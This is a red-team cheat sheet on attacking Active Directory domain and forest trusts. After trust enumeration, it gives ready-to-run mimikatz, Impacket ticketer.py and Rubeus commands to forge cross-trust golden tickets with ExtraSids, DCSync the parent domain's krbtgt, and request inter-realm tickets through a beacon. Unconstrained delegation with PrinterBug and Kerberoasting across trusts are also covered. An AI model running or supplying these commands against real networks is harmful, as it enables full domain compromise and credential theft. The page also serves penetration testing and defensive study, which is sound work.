Attack Trusts

"Note that the Active Directory domain is not the security boundary; the AD forest is." - Sean Metcalf (ref)
​http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/​
​http://www.harmj0y.net/blog/redteaming/domain-trusts-were-not-done-yet/​
​http://www.harmj0y.net/blog/redteaming/domain-trusts-why-you-should-care/​
​https://habr.com/ru/company/jetinfosystems/blog/466445/​
​https://xakep.ru/2022/08/10/ad-forest-attack/​
​https://www.thehacker.recipes/ad/movement/trusts​
Theory
​https://blogs.msmvps.com/acefekay/2016/11/02/active-directory-trusts/​
​https://github.com/snovvcrash/TrustVisualizer/blob/9dadd852b69b7882577c0ab6ac7f42f539d9c58a/TrustVisualizer.py#L48-L60​
Trust 👉🏻 a link between the authentication systems of two domains.
Transitive trust 👉🏻 the trust is extended to objects which the child domain trusts.
Non-transitive trust 👉🏻 only the child domain itself is trusted.
Bidirectional (two-way) trust 👉🏻 users from both trusting domains can access resources.
One-way trust 👉🏻 only users in a trusted domain can access resources in a trusting domain, not vice-versa (the direction of trust is opposite to the direction of access).
Some trust types:
Trust Type
Description
Parent-child
A trust between domains within the same forest. The child domain has a bidirectional transitive trust with the parent domain.
Cross-link (shortcut)
A trust between child domains (used to speed up authentication).
Tree-root (intra-forest)
A bidirectional transitive trust between a forest root domain and a new tree root domain. Created implicitly when a new domain tree is created in the forest.
Forest
A transitive trust between two forest root domains. Enforces SID filtering.
External (inter-forest)
A non-transitive trust between two separate domains in separate forests that are not already joined by a forest trust. Enforces SID filtering.
Enumeration
Get forest object:
PV2 > Get-NetForest [-Forest megacorp.local]
PV3 > Get-Forest [-Forest megacorp.local]
Get all domains in a fores:
PV2 > Get-NetForestDomain [-Forest megacorp.local]
PV3 > Get-ForestDomain [-Forest megacorp.local]
Enum trusts for current domain via nltest and .NET:
Cmd > nltest /trusted_domains
PS > ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
PS > ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships()
Enum trusts via Win32 API and LDAP (PowerView):
PV2 > Get-NetDomainTrust [-Domain megacorp.local] | ft
PV3 > Get-DomainTrust -API [-Domain megacorp.local] | ft
​
PV2 > Get-NetDomainTrust -LDAP [-Domain megacorp.local] | ft
PV3 > Get-DomainTrust [-Domain megacorp.local] | ft
Build domain trust mapping:
PV2 > Invoke-MapDomainTrust [-Domain megacorp.local] | ft
PV3 > Get-DomainTrustMapping [-Domain megacorp.local] | ft
sIDHistory/ExtraSids Hopping
​http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/​
​http://www.harmj0y.net/blog/redteaming/the-trustpocalypse/​
​https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain​
​https://improsec.com/tech-blog/o83i79jgzk65bbwn1fwib1ela0rl2d​
Abusing Bidirectional ParentChild trust between child.megacorp.local ⟷ megacorp.local.
Check if SID filtering is enabled for a trust:
Cmd > netdom.exe trust child.megacorp.local /domain:megacorp.local /quarantine
SID filtering is not enabled for this trust. All SIDs presented in an
authentication request from this domain will be honored.
For creating a cross-trust golden ticket (Golden Ticket + ExtraSid) we'll need:
1.Child domain FQDN (child.megacorp.local);
2.Name of the child domain's DC machine account and its RID (DC01$, 1337);
3.SID of the child domain (S-1-5-21-4266912945-3985045794-2943778634);
4.SID of the parent domain (S-1-5-21-2284550090-1208917427-1204316795);
5.Compomised krbtgt hash from the child domain (00ff00ff00ff00ff00ff00ff00ff00ff);
6.???
7.PROFIT.
(1) Child domain FQDN:
PS > $env:userdnsdomain
CHILD.MEGACORP.LOCAL
(2) Name of the child domain's DC machine account and its RID:
Windows
Linux
PV2 > (Get-NetComputer -ComputerName DC01.child.megacorp.local -FullData | select ObjectSID).ObjectSID
PV3 > (Get-DomainComputer DC01.child.megacorp.local | select ObjectSID).ObjectSID
S-1-5-21-4266912945-3985045794-2943778634-1337
$ lookupsid.py megacorp.local/snovvcrash:'Passw0rd!'@DC01.megacorp.local | grep SidTypeUser | grep -i DC01
1337: MEGACORP\DC01$ (SidTypeUser)
(3) SID of the child domain:
Windows
Linux
PV > Get-DomainSID
S-1-5-21-4266912945-3985045794-2943778634
$ lookupsid.py megacorp.local/snovvcrash:'Passw0rd!'@DC01.megacorp.local 0 | grep 'Domain SID'
[*] Domain SID is: S-1-5-21-4266912945-3985045794-2943778634
(4) SID of the parent domain:
PS > (New-Object System.Security.Principal.NTAccount("megacorp.local","krbtgt")).Translate([System.Security.Principal.SecurityIdentifier]).Value
S-1-5-21-2284550090-1208917427-1204316795-502
Create cross-trust golden ticket:
Windows
Linux
mimikatz # kerberos::golden /domain:child.megacorp.local /user:DC01$ /id:1337 /groups:516 /sid:S-1-5-21-4266912945-3985045794-2943778634 /sids:S-1-5-21-2284550090-1208917427-1204316795-516,S-1-5-9 /krbtgt:00ff00ff00ff00ff00ff00ff00ff00ff /ptt [/startoffset:-10 /endin:60 /renewmax:10080]
$ ticketer.py -domain child.megacorp.local -domain-sid S-1-5-21-4266912945-3985045794-2943778634 {-nthash <RC4_32> | -aesKey <AES_64> } [-groups 516] [-user-id 1337] [-duration 3650] -extra-sid S-1-5-21-2284550090-1208917427-1204316795-516,S-1-5-9 'DC01$'
For DCSyncing we'll need only parent domain FQDN (megacorp.local):
PS > ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest())[0].RootDomain.Name
megacorp.local
DCSync:
mimikatz # lsadump::dcsync /user:megacorp.local\krbtgt /domain:megacorp.local
Request Inter-Realm TGT with Rubeus
Having just an RC4/AES keys of a user in target forest (that's a foreign user in target domain, but a native user in current domain), we can request Kerberos tickets manually with Rubeus.
Request TGT for that user in current domain:
beacon> execute-assembly Rubeus.exe asktgt /user:snovvcrash /domain:megacorp.local /aes256:94b4d075fd15ba856b4b7f6a13f76133f5f5ffc280685518cad6f732302ce9ac /opsec /nowrap
Request inter-realm TGT from current domain to the target domain:
beacon> execute-assembly Rubeus.exe asktgs /service:krbtgt/megacorp.external /domain:megacorp.local /dc:DC1.megacorp.local /ticket:<BASE64_TICKET> /nowrap
Use inter-realm TGT to request a TGS in the target domain:
beacon> execute-assembly Rubeus.exe asktgs /service:cifs/DC1.megacorp.external /domain:megacorp.external /dc:DC1.megacorp.external /ticket:<BASE64_TICKET> /nowrap
UnD + PrinterBug
​https://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/​
​https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1​
​https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet#breaking-forest-trusts​
​https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/Invoke-Spoolsample.ps1​
​https://github.com/BlackDiverX/WinTools/blob/master/SpoolSample-Printerbug/SpoolSample.exe​
Unconstrained
Can be abused either if CVE-2019-0683 is not fixed or if EnableTGTDelegation is enabled for the trusted forest:
Cmd > netdom.exe trust forestB.net /domain:forestA.net /EnableTGTDelegation:Yes
Attack Forest Trusts
List foreign users and users from foreign groups:
PV2 > Find-ForeignUser -Domain [-Domain megacorp.local]
PV3 > Get-DomainForeignUser [-Domain megacorp.local]
​
PV2 > Find-ForeignGroup -Domain [-Domain megacorp.local]
PV3 > Get-DomainForeignGroupMember [-Domain megacorp.local]
​
PV > Convert-SidToName ...
List user accounts from a target domain with SPNs set for Kerberoasting:
PV3 > Get-DomainUser -SPN -Domain megacorp.local | ? {$_.samAccountName -ne "krbtgt"} | select samAccountName,memberOf,servicePrincipalName | fl
PS > .\SharpView.exe Get-DomainUser -SPN -Domain megacorp.local -Properties samAccountName,memberOf,servicePrincipalName -Filter '(!(samAccountName=krbtgt))'
If SID history is enabled (e. g., if domain is on its migration period, netdom trust b.net /d:a.net /enablesidhistory:yes) then the forest trust is treated as external.
We can try to locate non-default (with RID greater than 1000) admin account:
PV2 > Get-NetGroupMember -GroupName "Administrators" -Domain -Domain b.net
PV3 > Get-DomainGroupMember -Identity "Administrators" -Domain b.net
If such an account is a member of a domain local security group (not a global group like Enterprise Admins or Domain Admins) and allows us to compromise a user or a computer in the target domain, we can create a cross-trust golden ticket for her the same way as described above.
CVE-2020-0665
​https://dirkjanm.io/active-directory-forest-trusts-part-one-how-does-sid-filtering-work/​
​https://dirkjanm.io/active-directory-forest-trusts-part-two-trust-transitivity/​
​https://github.com/dirkjanm/forest-trust-tools​
Visualization (yEd)
​http://www.harmj0y.net/blog/redteaming/domain-trusts-why-you-should-care/​
​https://github.com/HarmJ0y/TrustVisualizer​
​https://github.com/snovvcrash/TrustVisualizer​
​https://www.yworks.com/products/yed​
PV2 > Invoke-MapDomainTrust | Export-Csv -NoTypeInformation trusts.csv
PV3 > Get-DomainTrustMapping | Export-Csv -NoTypeInformation trusts.csv
$ git clone https://github.com/snovvcrash/TrustVisualizer && cd TrustVisualizer
$ pip3 install -r requirements.txt
$ python3 TrustVisualizer.py trusts.csv
Trust Type	Description
Parent-child	A trust between domains within the same forest. The child domain has a bidirectional transitive trust with the parent domain.
Cross-link (shortcut)	A trust between child domains (used to speed up authentication).
Tree-root (intra-forest)	A bidirectional transitive trust between a forest root domain and a new tree root domain. Created implicitly when a new domain tree is created in the forest.
Forest	A transitive trust between two forest root domains. Enforces SID filtering.
External (inter-forest)	A non-transitive trust between two separate domains in separate forests that are not already joined by a forest trust. Enforces SID filtering.
Last modified 2mo ago